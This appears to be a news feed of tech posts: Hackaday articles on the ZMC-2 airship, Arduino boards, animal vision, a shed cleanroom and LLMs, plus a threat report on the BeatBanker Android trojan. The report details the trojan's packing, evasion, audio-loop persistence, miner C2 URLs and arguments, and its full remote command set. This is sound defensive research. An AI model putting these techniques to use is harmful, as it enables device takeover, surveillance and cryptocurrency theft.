There is a film of the ship being built, and it’s rather fascinating. The strips of alclad are rolled into conical sections and riveted together, with a bituminous material serving as sealant. Even today, you would not want to weld this material, so instead three and a half million 0.035” (0.89 mm) rivets hold the plates together. A special automated riveting machine was invented for the construction of the metalclad airship, which “sewed” three rows simultaneously at a rate of five thousand rivets per hour.
Just like most monocoque airplanes, then and now, the skin doesn’t hold the entire load: there were five circular frames, flanged and full of lightening holes just like the ribs of an aeroplane fuselage, of various diameters to help the ‘gas bag’ hold shape. The gondola would attach to two of these.
Amazingly, with all of those rivets and the low-tech sealant, the metalclad held helium much better than its rivals. Yes, helium. While more expensive than hydrogen, the US Navy had already transitioned away from that more volatile gas and had no interest in going back. All of their groundside infrastructure was centered around helium. If that meant that the fireproof metalclad would not be able to lift quite so much as it otherwise might, well, too bad.
By the time the ZMC-2 got to Lakehurst as pictured here, only helium was on tap.
Image: Navy History and Heritage CommandOK, It’s a Bit Like a Blimp
Aside from outward appearance, the metalclad airship is similar to a blimp in some respects. For one, like the blimps that would go on to serve into and well past WWII, and unlike every Zeppelin ever built, the metalclad design had no internal subdivisions. The great metal balloon, 52 ‘8 ” in diameter (16 m) and 149’ 5” (45.5m) long, held two air bladders, one fore, and one aft, but was otherwise cavernously empty.
Just like the blimps, those air bladders were used for trim: by pressurizing the fore bladder, the nose becomes heavy and trims the blimp down; likewise pressurizing the rear bladder trims the nose upwards. With both under pressure, the overall excess lift of the gasbag is reduced slightly, though the hull was not designed to withstand enough pressure for that to be notably useful at affecting overall buoyancy. The maximum the ZMC-2’s hull could take was said to be about two inches of water, or 0.07 PSIg (0.5 kPa).
Also like a blimp, that pressure was required to resist the force of aerodynamic drag, at least at high speeds. The aluminum skin could hold its own shape, obviously, and even at low speeds it was safe to fly at atmospheric pressure, but at speeds above about half velocity never exceed (VNE) there was a risk of buckling the nose. So, like a blimp–or the balloon tanks on the much later Atlas rockets–gas pressure was used as reinforcement. For that reason, there was much consternation at the time–and since–whether to count the metalclad as a rigid or non-rigid airship. Ultimately the US Navy, whose code was “Z” for airship and “R” for rigid or “S” for non-rigid, called it ZMC– z-airship, metal clad. That dodged the issue well enough.
A larger ship might have been able to afford the weight of stronger aluminum to take the buffeting of high-speed flight, thanks to the square-cube law, but the comparatively tiny ZMC-2 lacked that lift capacity. Even larger ships were always intended to use pressure-reinforcement; it’s a key part of the metalclad concept. Why waste lift capacity on metal when the gas can do it for you? As it was, the useful load of the prototype ZMC-2 was only 750 lbs (340 kg). The ZMC-2 wasn’t designed for useful load, though; it was only ever meant as a testbed.
Flying the Tin Blimp
As a testbed, the ZMC-2 was reasonably successful, and also a complete failure. It was reasonably successful in that its logbooks recorded 2,265 incident-free hours over 725 flights between its debut in August 1929 and its grounding in August 1939. In those ten years, it was found to fly well, in spite of its oddities.
The control car, with its crew of two or three–plus four passengers–and a pair of 220 HP Wright Whirlwind engines, would not have looked out of place on a blimp of similar size. Its overall size was not unlike blimps Goodyear was flying. Nor was the ZMC-2 particularly speedy, or unusually slow with a top speed of 70 mph (113 km/h). Aside from the metal-clad construction, two things made the ZMC-2 stand out amongst its contemporaries. The empennage — the “tail” — was perhaps unique in airship history– as near as I can tell, the Detroit Airship Company was the only one to ever fit eight equally-spaced fins to the rear of an airship. All had control surfaces, and in practice, there was no control mixing: four acted as elevators, and four as rudders. It worked well enough, as the ship was apparently quite maneuverable.
The only thing normal in this photo is the gondola. Note the four visible tail surfaces– there are four more on the other side. Image: Screenshot from “Tin Balloon” (Silent) by zrsmovie.com
The other oddity helped with this maneuverability: the airship’s fineness ratio. It was oddly squat, at only 2.83. Like much in the world of airships, the concept of a fineness ratio is borrowed from the naval world– there, it is the ratio between a ship’s length and its beam, or width. For a flying ship, it’s the length to diameter of the gas bag, but the effect is the same. Picture a racing skiff vs a coracle, or a whitewater kayak. The racing skiff has a very high fineness ratio, which gives it high speed and low maneuverability as it cuts through the water. A coracle or whitewater kayak, on the other hand, has a low fineness ratio, often less than two, so that they can turn on a dime. They’re also incredibly difficult to keep going in a straight line. The ZMC-2 wasn’t quite that squat, but from the boating analogy I can only imagine it was a handful to keep on a straight course at times.
ZMC-2 looks positively squat at top-right, compared to ZR-3 Los Angeles at center and the J-2 blimp on the left. That has pros and cons but was not an inherent characteristic of the metalclad concept.
Image: Naval History and Heritage Command
The only reason I dare call the fabulous tin blimp a failure is because there was no ZMC-3, or -4, or N≠2. It was indeed the only metalclad to ever fly.
One of a Kind
It wasn’t the cute little prototype’s fault; it was the timing. The Detroit Aircraft Company launched the ZMC-2 with big plans– Upton’s first design was for a larger express passenger/cargo airship of 1,600,000 cu.ft. (45,307 m³) gas volume, compared to the meager 200,000 cu.ft. (5,663 m³) of the prototype. There was interest in the bigger designs, but the ZMC-2 would need to prove the concept– which it did, in August 1929. Then in October, the stock market crashed, the Great Depression hit, and there was a lot less money available for pie-in-the-sky ideas like metalclad airships.
The interest was there, mind you. The U.S. Army liked what they saw, and went hat-in-hand in 1931 to Congress asking for 4.5 million to buy a 20-ton-lift model that would have been larger than the Graf Zeppelin. At that point, Congress felt there were other priorities. Later on, Detroit’s metalclad design was The Navy’s preferred choice to replace the ill-fated Akron and Macon, but there were problems with funding and the Detroit Aircraft Company didn’t have a hangar big enough to build the thing in anyway.
The Army’s large metalclad might have looked like this, according to Popular Mechanics
Image: Popular Mechanics April 1931, via lynceans.org
That was the end of it. Though there was no notable metal fatigue or corrosion, the ZMC-2 flew less and less as the odds of a successor dropped. Some accounts claim it was grounded completely in 1939; others imply a handful of flights until US entry into WWII. With the war on, aluminum was in short supply and the ZMC-2 was broken up for scrap in 1941. It was simply too small for the antisubmarine duty the Navy’s blimps were being put to, and too weird to use as a training ship. Though the gondola was kept for a time as a learning aide for ground school, it was not preserved. It is likely that no physical trace of the fabulous tin blimp remains.
Legacy
Ultimately, the ZMC-2 was successful in proving that a metalclad airship could fly. During the various aborted attempts at an ‘airship renaissance’, various proposals for metalclads or similarly-built composite ships have been put forth, but as with Ralph Upton’s larger designs, no capital sufficient for construction ever materialized.
In spite of my praise of the non-rigid airship’s ability to shift with the winds– going so far as to say “Blimps win” in my last article, based on the historical record, I for one would love to see a metalclad fly again. Maybe it’s just the Rule of Cool– rigids are cooler, and metalclads are cooler yet. Maybe the image of the doughty ZMC-2 buzzing about like a giant, clumsy bumble bee has made me sentimental for the design. Maybe it’s just that there’s potential there. Thanks to the great Nan ships, we’ve got a pretty idea of what non-rigid airships are capable of. ZMC-2 only scratches the surface of what a metalclad could do; perhaps someday we’ll find out. With modern lithium-aluminum alloys being that much lighter, or the ‘black’ aluminum of carbon composites, we could probably build something exceeding Ralph Upton’s wildest dreams… if there was money to pay for it.
12 years was a good run for a prototype. So long, and thanks for all the AvGas.
Image: Naval History and Heritage Command
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2026-03-10 11:00:22 UTC

Arduino’s New AI-Centric Board is the VENTUNO Q
There have been many questions about what direction Arduino would take after being bought by Qualcomm. Now it would seem that we’re getting a clearer picture. Perhaps unsurprisingly the answer appears to be ‘AI’, with the new Arduino VENTUNO Q SBC being advertised as ‘democratizing AI’ in the Qualcomm press release, although it also references robotics.
This new board is based around the Dragonwing IQ-8275 SoC along with an STM32H5F5 MCU, making it somewhat of a beefier brother of the previously covered Arduino Uno Q, which also offers an SoC/MCU hybrid solution. On the product page we can see the overall specifications for this new board, where the release date is specified as ‘soon’.
Its IQ-8275 SoC is part of Qualcomm’s IQ8 series, with eight 2.35 GHz ARM cores and an Adreno 623 GPU, paired with 16 GB of LPDDR5. The Cortex M33-based STM32H5F5 MCU comes with its own 4 MB of Flash and 1.5 MB of RAM, all on a board that’s significantly larger than the Uno Q and isn’t crippled by a single USB-C port as SoC I/O.
Although clearly more aimed at industrial and automation applications than the solution-in-search-of-a-problem Uno Q board, it remains to be seen whether this board will catch on with Arduino fans, or whether Qualcomm’s goal is more to break into whole new markets under the Arduino brand.
hackaday.com/2026/03/10/arduin…
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2026-03-10 10:04:34 UTC

2026-03-10 10:00:44 UTC

BeatBanker: A dual‑mode Android Trojan
Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.CommandDescription0Starts dynamic loading of the DEX classUpdateSimulates software update and locks the screenmsg:Displays a Toast message with the provided textgoauth<*>Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codeskill<*>Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”srec<*>Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wavpst<*>Pastes text from the clipboard (via Accessibility Services)GRC<*>Lists all existing audio recording filesgtrc<*>Sends a specific audio recording file to the C2lcm<*>Lists supported front camera resolutionsusdtress<*>Sets a USDT cryptocurrency address when a transaction is detectedlnk<*>Opens a link in the browserEHP<*>Updates login credentials (host, port, name) and restarts the applicationssms<*>Sends an SMS message (individually or to all contacts)CRD<*>Adds (E>) or removes (D>) packages from the list of blocked/disabled applicationsSFD<*>Deletes files (logs, recordings, tones) or uninstalls itselfadm<>lck<>Immediately locks the screen using Device Administrator permissionsadm<>wip<>Performs a complete device data wipe (factory reset)Aclk<*>Executes a sequence of automatic taps (auto-clicker) or lists existing macrosKBO<*>lodChecks the status of the keylogger and virtual keyboardKBO<*>AKP/AKARequests permission to activate a custom virtual keyboard or activates oneKBO<*>ENB:Enables (1) or disables (0) the keyloggerRPM<*>lodChecks the status of all critical permissionsRPM<*>ACCRequests Accessibility Services permissionRPM<*>DOZRequests Doze/App Standby permission (battery optimization)RPM<*>DRWRequests Draw Over Other Apps permission (overlay)RPM<*>INSTRequests permission to install apps from unknown sources (Android 8+)ussd<*>Executes a USSD code (e.g., *#06# for IMEI)Blkt<*>Sets the text for the lock overlayBLKV<*>Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screenSCRD<> / SCRD2<>Enables/disables real-time screen text submission to the C2 (screen reading)rdall<*>Clears or sends all keylogger logsrdd<*>Deletes a specific log filerd<*>Sends the content of a specific keylogger fileMO<*>Manages application monitoring (add, remove, list, screenshot, etc.)FW<*>Controls VPN and firewall (status, block/allow apps, enable/disable)noti<*>Creates persistent and custom notificationssp<*>Executes a sequence of swipes/taps (gesture macro)lodp<*>Manages saved links in the internal browser (add, edit, delete, list)scc:Starts screen capture/streamingNew BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
Indicators of compromise
Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].
Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink
Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net
securelist.com/beatbanker-mine…
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2026-03-10 09:42:23 UTC

2026-03-10 09:11:59 UTC

2026-03-10 08:00:19 UTC

Seeing the World Through Animal Eyes
If you think about it, you can’t be sure that what you see for the color red, for example, is what anyone else in the world actually sees. All you can be sure of is that we’ve all been trained to identify whatever we do see as red just like everyone else. Now, think about animal vision. Most people know that dogs don’t see as many colors as we do. On the other hand, the birds and the bees can see into ultraviolet. What would the world look like with extra colors? That’s the question researchers want to answer with this system for duplicating different animals’ views of the world.
Of course, this would be easy if you were thinking about dogs or cats. They can’t see the difference between red and green, making them effectively colorblind by human standards. Researchers are using modified commercial cameras and sophisticated video processing to produce images that sense blue, green, red, and UV light. Then they modify the image based on knowledge of different animal photoreceptors.
We were somewhat surprised that the system didn’t pick up IR. As we know snakes, for example, can sense IR. You’d think more sophisticated animals would have better color vision, but that seems to be untrue. The mantis shrimp, for example, has 12-16 types of photoreceptors. Even male and female humans have different vision systems that make them see colors differently.
Maybe you need a photospectrometer. You wonder if animals dream in color, too.
hackaday.com/2026/03/10/seeing…
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2026-03-10 01:43:25 UTC

Strategia cyber USA 2026: i sei pilastri di Trump per il dominio tecnologico USA
@nprofile…fwcg
La Casa Bianca ha pubblicato la sua Strategia cyber 2026, basata su azioni precise che mirano a contrastare le minacce informatiche grazie a un livello di coordinamento, impegno e volontà politica senza precedenti. Ecco le priorità

2026-03-09 23:00:09 UTC

Building a Class 100 Semiconductor Cleanroom Inside a Shed
Just your typical backyard cleanroom shed. (Credit: Dr. Semiconductor, YouTube)
Most people see that garden shed as little more than a place to store some gardening tools in, but if you’re like [Dr. Semiconductor], then what you see is a potential cleanroom for semiconductor manufacturing. As ridiculous as this may sound, the basic steps behind the different levels of cleanrooms work just as well for a multi-million dollar fab as they do for for a basic shed.
Key to everything is HEPA filtration along with positive pressure, to constantly push clean air into the cleanroom, while preventing dirty air from flowing in. The shed was also split into two sections, the first room once you enter it being the the gowning room. This is where you change into cleanroom gear before you transition into the cleanroom.
In addition to the flame-resistant drywalls, a water-based epoxy coating was applied to the insides of the cleanroom walls to make it smooth and free of debris. The HEPA filtration system constantly filters the shed’s air along with some fresh outside air, while an airconditioning unit ensures that the temperature remains constant.
The measured >0.5 µm particle contamination inside the shed turned out to be enough for a FED STD 209E equivalent of Class 100, which is ISO 5 class with a maximum of 3,520 particles/m3. For comparison, room air is ISO 9 with max 35,200,000 particles/m3. At ISO 5 it’s good enough to do some semiconductor R&D laboratory things, which is what [Dr. Semiconductor]’s channel is – shockingly – about.
Thanks to [Thayer] for the tip.
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2026-03-09 20:00:54 UTC

Real-Time ISS Tracker Shows Off the Goods
What hardware hacker doesn’t have a soft spot for transparent cases? While they may have fallen out of mainstream favor, they have an undeniable appeal to anyone with an interest in electronic or mechanical devices. Which is why the Orbigator built by [wyojustin] stands out among similar desktop orbital trackers we’ve seen.
Conceptually, it’s very similar to the International Space Station tracking lamp that [Will Dana] built in 2025. In fact, [wyojustin] cites it specifically as one of the inspirations for this project. But unlike that build, which saw a small model of the ISS moving across the surface of the globe, a transparent globe is rotated around the internal mechanism. This not only looks gorgeous, but solves a key problem in [Will]’s design — that is, there’s no trailing servo wiring that needs to be kept track of.
For anyone who wants an Orbigator of their own, [wyojustin] has done a fantastic job of documenting the hardware and software aspects of the build, and all the relevant files are available in the project’s GitHub repository.
The 3D printable components have been created with OpenSCAD, the firmware responsible for calculating the current position of the ISS on the Raspberry Pi Pico 2 is written in MicroPython, and the PCB was designed in KiCad. Incidentally, we noticed that Hackaday alum [Anool Mahidharia] appears to have been lending a hand with the board design.
As much as we love these polished orbital trackers, we’ve seen far more approachable builds if you don’t need something so elaborate. If you’re more interested in keeping an eye out for planes and can get your hands on a pan-and-tilt security camera, it’s even easier.
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2026-03-09 18:30:00 UTC

Last Year in SBCs
While it might not be comprehensive, [Bret.dk] recently posted a retrospective titled “Every Single Board Computer I Tested in 2025.” The post covers 15 boards from 8 different companies. The cheapest board was $42, but the high-end topped out at $590.
We like the structure of the post. The boards are grouped in an under $50 category, another group for $50-100, and a final group for everything north of $100. Then there’s some analysis of what RAM prices are doing to the market, and commentary about CIX P1, Qualcomm, RISC-V, and more.
You get the idea that the post is only summarizing experiences with each board, and, for the intended purpose, that’s probably a good thing. On the other hand, many of the boards have full reviews linked, so be sure to check them out if you want more details. The Arduino Q didn’t fare well in review, nor did the BeagleBoard Green Eco. But the surprise was newcomer CIX. Their SoC powers two entries, one from Radaxa and the other from Orange Pi. In both cases, the performance of these was surprisingly good. There are some concerns with tooling and a few hiccups with things like power consumption, but if those were fixed, the CIX chips could be showing up more often.
[Bret’s] post is very informative. We’d be interested to hear whether you disagree with any of his assessments or have a favorite SBC that didn’t make his list. Let us know in the comments. Of course, there are other boards out there, but you can see that development tools and support often differentiate products more than just raw computing power.
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2026-03-09 17:00:57 UTC

Ask Hackaday: What Will An LLM Be Good For In The Plateau of Productivity?
A friend of mine has been a software developer for most of the last five decades, and has worked with everything from 1960s mainframes to the machines of today. She recently tried AI coding tools to see what all the fuss is about, as a helper to her extensive coding experience rather than as a zero-work vibe coding tool. Her reaction stuck with me; she referenced her grandfather who had been born in rural America in the closing years of the nineteenth century, and recalled him describing the first time he saw an automobile.
Après Nous, Le Krach
The Gartner hype cycle graph. Jeremykemp, CC BY-SA 3.0.
We are living amid a wave of AI slop and unreasonable hype so it’s an easy win to dunk on LLMs, but as the whole thing climbs towards the peak of inflated expectations on the Gartner hype cycle perhaps it’s time to look forward. The current AI hype is inevitably going to crash and burn, but what comes afterwards? The long tail of the plateau of productivity will contain those applications in which LLMs are a success, but what will they be? We have yet to hack together a working crystal ball, but perhaps it’s still time to gaze into the future.
To most of the population, AI, which for them mostly means ChatGPT, is a magic tool that can write stuff for them, and make them look smart when they’re not asking it to draw a picture of a cat doing something human. It has replaced a search engine for many people, and become a confidante to many others to the extent that the phrase “Chatbot psychosis” has entered the lexicon.
This cat is real, and is not interested in AI slop. Izemeh, CC BY-SA 4.0.
Having a tool that can write anything you ask it to has of course unleashed that AI slop; whether it’s a useless web page or an equally useless report at your employer, we’re all acquiring the skill of spotting fake content. There are some people who have predicted the demise of human writers as a result, but though the chatbots can do a pretty good job of copying a writer’s style I do not share that view. By the time we’ve reached that long plateau, there will be an enhanced value in content written by meatbags because the consumer will have evolved a hair-trigger response to slop, so rest assured, Hackaday will not succumb.
If I have a prediction for those chatbots it will mirror previous booms and crashes; that the circular economic illusion between chipmakers and AI companies will inevitably derail, and like search engines in the early 2000s, most of them will not survive.
Ah, I See You’re A Waffle Man, Then
My software developer friend sees an LLM as a productivity aid in her coding to be something with a future, but where do I as a writer and Hackaday scribe see them going? It’s something I’ve given quite some thought to, and my conclusion is one that is much less all-encompassing. The privacy aspect of sharing your innermost thoughts, business decisions, or whatever other valuable stuff with a third party will inevitably catch up with the LLM industry, whether it’s through an unscrupulous data sharing deal or an LLM revealing things it shouldn’t to others. I thus think that the most ubiquitous LLMs in our future will be ones that are much more local, with less reliance on those power-hungry datacentres. I can’t predict all their applications, but I’m going to give a couple of examples in the here and now which have caught my attention.
The first example comes from my experience outside Hackaday, over a long career in the publishing and documentation industry, Many organisations have huge libraries of information on their intranets which is commercially sensitive enough that it can’t leave the site for processing by external AI company. Imagine documentation, product specifications, and the like. There’s already a thriving industry of intranet search and retrieval products in this space, and the AI companies naturally want a piece of it too. I can see a future in which a local LLM equivalent of those old yellow Google Search rack servers provides an intelligent interface to those troves of data, without the danger of leaks, or of going off piste.
We featured this Talkie Toaster replica made by Bill Dudley back in 2020.
The second comes from both a 1980s British TV sit-com, and from the LLM projects we’re starting to see here at Hackaday. In short, I think that appliances you can talk to will find their way into the consumer market, and nowhere will be safe from the Red Dwarf Talkie Toaster.
Jokes about maniacal kitchen appliances aside, we are now at the point at which the latest Raspberry Pi can just about run a functioning speech-based chatbot. Given a few years more microprocessor and microcontroller development, and the current cost, of a Pi with the accelerator board, will drop to a few dollars for a high-end microcontroller to do the same task.
I see it as inevitable that there will be a class of chip that will be offered out of the box with some kind of LLM capability, and that in no time the most unlikely of appliances will have personalities. It will inevitably be annoying, but out of that will come a few that might be useful.
So along with my software developer friend I’ve tried to move beyond my writer’s disdain for the very obvious negative side of the LLM bubble, and look ahead to a future when using a chatbot is no longer thought to make you look smart. In a few years time an LLM will be one of those things that’s just there, and what form will it take? Like that early-20th-century American who looked at a car and saw it was going to have an impact on the future I know I’m looking at something that’s going to remain with me whether I like it or not. I’ve speculated on how that might happen in a couple of ways above, but what about you? Are the agents which are the darling of the AI crowd at the moment going to take over our lives? Or will it be something else? As always, the comments are below.
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2026-03-09 16:37:21 UTC

Sospetto cyber attacco cinese contro l’FBI: le analogie con l’intrusione contro il Viminale
@nprofile…fwcg
Investigatori USA hanno rilevato movimenti sospetti su una rete dell'FBI dedicata alla gestione di metadati di intercettazioni e strumenti investigativi. A destare interesse è la natura delle informazioni coinvolte, ecco perché

2026-03-09 16:32:13 UTC

Claude trova 22 bug critici in Firefox: l’IA ridisegna il futuro del vulnerability research
@nprofile…fwcg
